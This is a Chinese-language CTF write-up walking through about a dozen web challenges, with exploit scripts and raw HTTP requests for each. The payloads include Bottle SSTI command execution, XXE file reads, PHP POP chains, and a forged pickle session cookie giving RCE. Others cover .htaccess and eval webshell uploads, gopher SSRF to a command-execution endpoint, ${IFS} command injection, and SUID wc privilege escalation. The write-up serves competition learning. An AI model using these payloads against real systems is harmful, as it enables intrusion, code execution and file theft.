Message in a Bottle
小李收到了来自远方朋友的信件,信中朋友邀请他到一个自己搭建的留言板上留下回信,你能帮他撰写一封温馨而真挚的回信吗?
Bottle框架
https://www.osgeo.cn/bottle/stpl.html
随便写两条发现结构如下
我们可以闭合<div>
标签从而执行命令
1 2 3 </div><small class ="message-time" >123 </small></div> % (__import__ ('os' ).popen('tac /flag >456.txt' ).read()) <div class ="message-card" >=<div class ="message-content" ></div>
直接执行命令没有回显,反弹shell没成功,于是写入文件用include包含
1 2 3 </div><small class ="message-time" >123 </small></div> % include('456.txt' ) <div class ="message-card" >=<div class ="message-content" ></div>
upload?SSTI!
小李写了个简陋的文件上传服务器用来存储自己的学习资料,聪明的他还写了个waf,来防止黑客的入侵
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 import osimport refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirectfrom werkzeug.utils import secure_filenameimport osfrom werkzeug.utils import secure_filenameapp = Flask(__name__) UPLOAD_FOLDER = 'static/uploads' ALLOWED_EXTENSIONS = {'txt' , 'log' , 'text' ,'md' ,'jpg' ,'png' ,'gif' } MAX_CONTENT_LENGTH = 16 * 1024 * 1024 app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH' ] = MAX_CONTENT_LENGTH os.makedirs(UPLOAD_FOLDER, exist_ok=True ) def is_safe_path (basedir, path ): return os.path.commonpath([basedir,path]) def contains_dangerous_keywords (file_path ): dangerous_keywords = ['_' , 'os' , 'subclasses' , '__builtins__' , '__globals__' ,'flag' ,] with open (file_path, 'rb' ) as f: file_content = str (f.read()) for keyword in dangerous_keywords: if keyword in file_content: return True return False def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: return jsonify({"error" : "未上传文件" }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({"error" : "请选择文件" }), 400 if file and allowed_file(file.filename): filename = secure_filename(file.filename) save_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(save_path) return jsonify({ "message" : "File uploaded successfully" , "path" : os.path.abspath(save_path) }), 200 else : return jsonify({"error" : "文件类型错误" }), 400 return ''' <!doctype html> <title>Upload File</title> <h1>Upload File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' @app.route('/file/<path:filename>' ) def view_file (filename ): try : safe_filename = secure_filename(filename) if not safe_filename: abort(400 , description="无效文件名" ) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], safe_filename) if not is_safe_path(app.config['UPLOAD_FOLDER' ], file_path): abort(403 , description="禁止访问的路径" ) if not os.path.isfile(file_path): abort(404 , description="文件不存在" ) suffix=os.path.splitext(filename)[1 ] print (suffix) if suffix==".jpg" or suffix==".png" or suffix==".gif" : return send_from_directory("static/uploads/" ,filename,mimetype='image/jpeg' ) if contains_dangerous_keywords(file_path): os.remove(file_path) return jsonify({"error" : "Waf!!!!" }), 400 with open (file_path, 'rb' ) as f: file_data = f.read().decode('utf-8' ) tmp_str = """<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>查看文件内容</title> </head> <body> <h1>文件内容:{name}</h1> <!-- 显示文件名 --> <pre>{data}</pre> <!-- 显示文件内容 --> <footer> <p>© 2025 文件查看器</p> </footer> </body> </html> """ .format (name=safe_filename, data=file_data) return render_template_string(tmp_str) except Exception as e: app.logger.error(f"文件查看失败: {str (e)} " ) abort(500 , description="文件查看失败:{} " .format (str (e))) @app.errorhandler(404 ) def not_found (error ): return {"error" : error.description}, 404 @app.errorhandler(403 ) def forbidden (error ): return {"error" : error.description}, 403 if __name__ == '__main__' : app.run("0.0.0.0" ,debug=False )
取巧直接看waf在哪调用,file路由可以直接读文件
waf直接用fenjing过
上传1.txt
成功 后续不再赘述
(>﹏<)
(>﹏<) & (<﹏>) & (>﹏<)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flask,requestimport base64from lxml import etreeimport reapp = Flask(__name__) @app.route('/' ) def index (): return open (__file__).read() @app.route('/ghctf' ,methods=['POST' ] ) def parse (): xml=request.form.get('xml' ) print (xml) if xml is None : return "No System is Safe." parser = etree.XMLParser(load_dtd=True , resolve_entities=True ) root = etree.fromstring(xml, parser) name=root.find('name' ).text return name or None if __name__=="__main__" : app.run(host='0.0.0.0' ,port=8080 )
最简单的xxe,挑个文件读取打就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "http://node2.anna.nssctf.cn:28662/ghctf" exp = """ <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root> <name>&xxe;</name> </root>""" re = requests.post(url, data={"xml" : exp}) print (re.text)
SQL???
听说你已经做完了Sqllabs?
1 python sqlmap.py -r C:\Users\31702\Desktop\req.txt -T flag -C flag --dump --batch
ez_readfile 1 2 3 4 5 6 7 8 9 10 <?php show_source (__FILE__ ); if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { if ($_POST ['a' ] != $_POST ['b' ]) { if (is_string ($_POST ['a' ]) && is_string ($_POST ['b' ])) { echo file_get_contents ($_GET ['file' ]); } } } ?>
file_get_content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?file=php://filter/read=convert.base64-encode/resource=/proc/self/maps HTTP/1.1 Host: node2.anna.nssctf.cn:28742 Content-Length: 389 Cache-Control: max-age=0 Origin: http://node2.anna.nssctf.cn:28742 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node2.anna.nssctf.cn:28742/?file=php://filter/read=convert.base64-encode/resource=/proc/self/maps Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
找libc
1 2 3 4 5 6 7f9342818000-7f934283d000 r--p 00000000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so 7f934283d000-7f9342988000 r-xp 00025000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so 7f9342988000-7f93429d2000 r--p 00170000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so 7f93429d2000-7f93429d3000 ---p 001ba000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so 7f93429d3000-7f93429d6000 r--p 001ba000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so 7f93429d6000-7f93429d9000 rw-p 001bd000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so
下载解码后保存为libc.so
cve直接打
Popppppp 链子不难,有个弱比较上网查一下发现md5(md5(9996021))=666
链头一眼丁真,可以拿原生类读文件
链子如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );class CherryBlossom { public $fruit1 ; public $fruit2 ; public function __construct ($a ) { $this ->fruit1 = $a ; } function __destruct ( ) { echo $this ->fruit1; } public function __toString ( ) { $newFunc = $this ->fruit2; return $newFunc (); } } class Mystery { public function __get ($arg1 ) { array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Philosopher { public $fruit10 ; public $fruit11 ="sr22kaDugamdwTPhG5zU" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } }
拿DirectoryIterator遍历目录,拿SplFileObject读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class CherryBlossom { public $fruit1 ; public $fruit2 ; } class Mystery {} class Philosopher { public $fruit10 ; public $fruit11 ="9996021" ; } $a = new CherryBlossom ();$a -> fruit1 = new CherryBlossom ();$a -> fruit1 -> fruit2 = new Philosopher ();$a -> fruit1 -> fruit2 -> fruit10 = new Mystery ();$a -> fruit1 -> fruit2 -> fruit10 -> DirectoryIterator = "/" ;echo serialize ($a );
ezzzz_pickle 爆破账号密码进入
hint: session_pickle
可以读源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from flask import Flask, request, redirect, make_response, render_templatefrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport pickleimport hmacimport hashlibimport base64import timeimport osapp = Flask(__name__) def generate_key_iv (): key = os.environ.get('SECRET_key' ).encode() iv = os.environ.get('SECRET_iv' ).encode() return key, iv def aes_encrypt_decrypt (data, key, iv, mode='encrypt' ): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt' : encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt' : decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() users = { "admin" : "admin123" , } def create_session (username ): session_data = { "username" : username, "expires" : time.time() + 3600 } pickled = pickle.dumps(session_data) pickled_data = base64.b64encode(pickled).decode('utf-8' ) key, iv = generate_key_iv() session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt' ) return session def download_file (filename ): path = os.path.join("static" , filename) with open (path, 'rb' ) as f: data = f.read().decode('utf-8' ) return data def validate_session (cookie ): try : key, iv = generate_key_iv() pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt' ) pickled_data = base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username" ] != "admin" : return False return session_data if session_data["expires" ] > time.time() else False except : return False @app.route("/" , methods=['GET' , 'POST' ] ) def index (): if "session" in request.cookies: session = validate_session(request.cookies["session" ]) if session: data = "" filename = request.form.get("filename" ) if filename: data = download_file(filename) return render_template("index.html" , name=session['username' ], file_data=data) return redirect("/login" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) if users.get(username) == password: resp = make_response(redirect("/" )) resp.set_cookie("session" , create_session(username)) return resp return render_template("login.html" , error="Invalid username or password" ) return render_template("login.html" ) @app.route("/logout" ) def logout (): resp = make_response(redirect("/login" )) resp.delete_cookie("session" ) return resp if __name__ == "__main__" : app.run(host="0.0.0.0" , debug=False )
查看关键部分
可以直接改以前的exp了
aes的key和iv在环境变量,读/proc/self/environ即可
gpt写个解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import base64import picklefrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingSECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv" SECRET_IV = b"asdwdggiouewhgpw" def aes_decrypt (encrypted_data ): cipher = Cipher(algorithms.AES(SECRET_KEY), modes.CBC(SECRET_IV), backend=default_backend()) decryptor = cipher.decryptor() encrypted_bytes = base64.b64decode(encrypted_data) decrypted_padded = decryptor.update(encrypted_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() decrypted = unpadder.update(decrypted_padded) + unpadder.finalize() return decrypted session_cookie = "eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA=" decrypted_data = aes_decrypt(session_cookie) print ("解密后的数据:" , decrypted_data)session_obj = pickle.loads(base64.b64decode(decrypted_data)) print ("解析出的 session 对象:" , session_obj)
1 2 3 4 5 D:\python3.7\python.exe C:\Users\31702\Downloads\exp.py 解密后的数据: b'gASVKwAAAAAAAAB9lCiMCHVzZXJuYW1llIwFYWRtaW6UjAdleHBpcmVzlEdB2fJT8RZkc3Uu' 解析出的 session 对象: {'username': 'admin', 'expires': 1741246404.349881} 进程已结束,退出代码为 0
gpt写加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import pickleimport base64import subprocessfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingSECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv" SECRET_IV = b"asdwdggiouewhgpw" class RCE : def __reduce__ (self ): cmd = "ls / >> /app/app.py" return subprocess.getoutput, (cmd,) payload = pickle.dumps(RCE()) b64_payload = base64.b64encode(payload) def aes_encrypt (data ): cipher = Cipher(algorithms.AES(SECRET_KEY), modes.CBC(SECRET_IV), backend=default_backend()) encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data) + padder.finalize() encrypted = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(encrypted) evil_session = aes_encrypt(b64_payload) print ("伪造的 session:" , evil_session.decode())
替换后发包重新访问
重新开环境读flag即可
UPUPUP 文件名+文件内容过滤
.htaccess绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST / HTTP/1.1 Host: node2.anna.nssctf.cn:28920 Content-Length: 331 Cache-Control: max-age=0 Origin: http://node2.anna.nssctf.cn:28920 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryob1VqovcH7DlAbG0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node2.anna.nssctf.cn:28920/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: session=eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA= Connection: close ------WebKitFormBoundaryob1VqovcH7DlAbG0 Content-Disposition: form-data; name="file"; filename="post.png" Content-Type: application/octet-stream GIF89a <?php eval ($_POST['1']); ?> ------WebKitFormBoundaryob1VqovcH7DlAbG0 Content-Disposition: form-data; name="upload" 上传 ------WebKitFormBoundaryob1VqovcH7DlAbG0--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST / HTTP/1.1 Host: node2.anna.nssctf.cn:28920 Content-Length: 409 Cache-Control: max-age=0 Origin: http://node2.anna.nssctf.cn:28920 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqcZ3mj9rdS20K0y8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node2.anna.nssctf.cn:28920/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: session=eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA= Connection: close ------WebKitFormBoundaryqcZ3mj9rdS20K0y8 Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: application/octet-stream #define width 1337 #define height 1337 <FilesMatch ".png"> ForceType application/x-httpd-php </FilesMatch> ------WebKitFormBoundaryqcZ3mj9rdS20K0y8 Content-Disposition: form-data; name="upload" 上传 ------WebKitFormBoundaryqcZ3mj9rdS20K0y8--
Goph3rrr
curl下来
1 2 3 4 5 6 7 8 9 10 11 @app.route('/Gopher' ) def visit (): url = request.args.get('url' ) if url is None : return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇≦)" result = subprocess.run(["curl" , "-L" , urlunparse(url)], capture_output=True , text=True ) return result.stdout
1 2 3 4 5 6 7 8 @app.route('/Manage' , methods=['POST' ] ) def cmd (): if request.remote_addr != "127.0.0.1" : return "Forbidden!!!" if request.method == "GET" : return "Allowed!!!" if request.method == "POST" : return os.popen(request.form.get("cmd" )).read()
Manage路由可以命令执行
结合代码和题目名称可以Gopher路由打ssrf到Manage路由
因为result = subprocess.run([“curl”, “-L”, urlunparse(url)], capture_output=True, text=True) 所以需要双重url编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import urllib.parsepayload = "cmd=ls /" payload_len = len (payload) def http_to_gopher (http_request: str , host: str , port: int = 80 ): lines = http_request.split("\n" ) request_line = lines[0 ].split() method = request_line[0 ] path = request_line[1 ] headers = {} body = "" for line in lines[1 :]: if not line.strip(): continue if ":" in line: key, value = line.split(":" , 1 ) headers[key.strip()] = value.strip() else : body = line.strip() gopher_payload = f"{method} {path} HTTP/1.1\r\n" gopher_payload += f"Host: {host} :{port} \r\n" for key, value in headers.items(): gopher_payload += f"{key} : {value} \r\n" if body: gopher_payload += f"\r\n{body} " gopher_payload += "\r\n\r\n" double_encoded_payload = urllib.parse.quote(urllib.parse.quote(gopher_payload)) gopher_url = f"gopher://{host} :{port} /_{double_encoded_payload} " return gopher_url http_request = f"""POST /Manage HTTP/1.1 Host: 0.0.0.0:8000 Content-Type: application/x-www-form-urlencoded Content-Length: {payload_len} {payload} """ print (http_to_gopher(http_request, "0.0.0.0" , 8000 ))
flag在环境变量中
GetShell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 <?php highlight_file (__FILE__ );class ConfigLoader { private $config ; public function __construct ( ) { $this ->config = [ 'debug' => true , 'mode' => 'production' , 'log_level' => 'info' , 'max_input_length' => 100 , 'min_password_length' => 8 , 'allowed_actions' => ['run' , 'debug' , 'generate' ] ]; } public function get ($key ) { return $this ->config[$key ] ?? null ; } } class Logger { private $logLevel ; public function __construct ($logLevel ) { $this ->logLevel = $logLevel ; } public function log ($message , $level = 'info' ) { if ($level === $this ->logLevel) { echo "[LOG] $message \n" ; } } } class UserManager { private $users = []; private $logger ; public function __construct ($logger ) { $this ->logger = $logger ; } public function addUser ($username , $password ) { if (strlen ($username ) < 5 ) { return "Username must be at least 5 characters" ; } if (strlen ($password ) < 8 ) { return "Password must be at least 8 characters" ; } $this ->users[$username ] = password_hash ($password , PASSWORD_BCRYPT); $this ->logger->log ("User $username added" ); return "User $username added" ; } public function authenticate ($username , $password ) { if (isset ($this ->users[$username ]) && password_verify ($password , $this ->users[$username ])) { $this ->logger->log ("User $username authenticated" ); return "User $username authenticated" ; } return "Authentication failed" ; } } class StringUtils { public static function sanitize ($input ) { return htmlspecialchars ($input , ENT_QUOTES, 'UTF-8' ); } public static function generateRandomString ($length = 10 ) { return substr (str_shuffle (str_repeat ($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' , ceil ($length / strlen ($x )))), 1 , $length ); } } class InputValidator { private $maxLength ; public function __construct ($maxLength ) { $this ->maxLength = $maxLength ; } public function validate ($input ) { if (strlen ($input ) > $this ->maxLength) { return "Input exceeds maximum length of {$this->maxLength} characters" ; } return true ; } } class CommandExecutor { private $logger ; public function __construct ($logger ) { $this ->logger = $logger ; } public function execute ($input ) { if (strpos ($input , ' ' ) !== false ) { $this ->logger->log ("Invalid input: space detected" ); die ('No spaces allowed' ); } @exec ($input , $output ); $this ->logger->log ("Result: $input " ); return implode ("\n" , $output ); } } class ActionHandler { private $config ; private $logger ; private $executor ; public function __construct ($config , $logger ) { $this ->config = $config ; $this ->logger = $logger ; $this ->executor = new CommandExecutor ($logger ); } public function handle ($action , $input ) { if (!in_array ($action , $this ->config->get ('allowed_actions' ))) { return "Invalid action" ; } if ($action === 'run' ) { $validator = new InputValidator ($this ->config->get ('max_input_length' )); $validationResult = $validator ->validate ($input ); if ($validationResult !== true ) { return $validationResult ; } return $this ->executor->execute ($input ); } elseif ($action === 'debug' ) { return "Debug mode enabled" ; } elseif ($action === 'generate' ) { return "Random string: " . StringUtils ::generateRandomString (15 ); } return "Unknown action" ; } } if (isset ($_REQUEST ['action' ])) { $config = new ConfigLoader (); $logger = new Logger ($config ->get ('log_level' )); $actionHandler = new ActionHandler ($config , $logger ); $input = $_REQUEST ['input' ] ?? '' ; echo $actionHandler ->handle ($_REQUEST ['action' ], $input ); } else { $config = new ConfigLoader (); $logger = new Logger ($config ->get ('log_level' )); $userManager = new UserManager ($logger ); if (isset ($_POST ['register' ])) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; echo $userManager ->addUser ($username , $password ); } if (isset ($_POST ['login' ])) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; echo $userManager ->authenticate ($username , $password ); } $logger ->log ("No action provided, running default logic" ); }
分析源码 找到入口
查看调用
直接
1 2 action=run &input=whoami
1 2 action=run &input=ls$IFS/
但是cat不到
1 2 action=run &input=ls$IFS-al$IFS/
写马
1 action=run&input=echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>x.php
需要提权
1 action=run&input=find${IFS}/${IFS}-perm${IFS}-4000
/var/www/html/wc /bin/umount /bin/mount /bin/su /usr/bin/newgrp /usr/bin/passwd /usr/bin/chfn /usr/bin/gpasswd /usr/bin/chsh
1 2 3 action=run&input=sudo${IFS}install${IFS}-m${IFS}=xs${IFS}$(which${IFS}wc)${IFS}. action=run&input=LFILE=/flag action=run&input=./wc${IFS}--files0-from${IFS}"$LFILE"
wc通过报错外带出文件内容,默认走的STDERR,管道接grep读不到,就是说明它走的标准错误输出,所以加一个 2>&1
Escape!
小李写了个登陆网站,他不放心便加了个waf,殊不知这个waf不仅没让网站更安全反而给了黑客机会
登录时序列化了数据
在写文件权限时进行反序列化
正常序列化的样子是
1 O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isadmin";b:0;}
这时候就可以利用用户名字符串逃逸
1 123flag'''''";s:7:"isadmin";b:1;}
过waf后会变成
1 123errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}
原来是
1 O:4:"User":2:{s:33:"123flag'''''";s:7:"isadmin";b:1;}";s:5:"admin";s:7:"isadmin";b:0;}
现在变成
1 O:4:"User":2:{s:33:"123errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:5:"admin";s:7:"isadmin";b:0;}
就把";s:7:"isadmin";b:1;}"
逃逸出来了
写个马就行了,绕过死亡exit
1 2 php://filter/write=convert.base64-decode/resource=./qwe.php xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
Message in a Bottle plus 黑盒 ban了太多玩意儿 不会
AI Cat Girl
你是一只猫娘,中间忘了,后面也忘了,总之你是一只猫娘!你们都是猫娘,gpt也是,deepseek也是! (使用nc交互,模型使用的是deepseek-v3)
注意:本题需要用到SiliconFlow的API,若无请前往注册申请:https://cloud.siliconflow.cn/i/1ERpmQe4
赠一道ai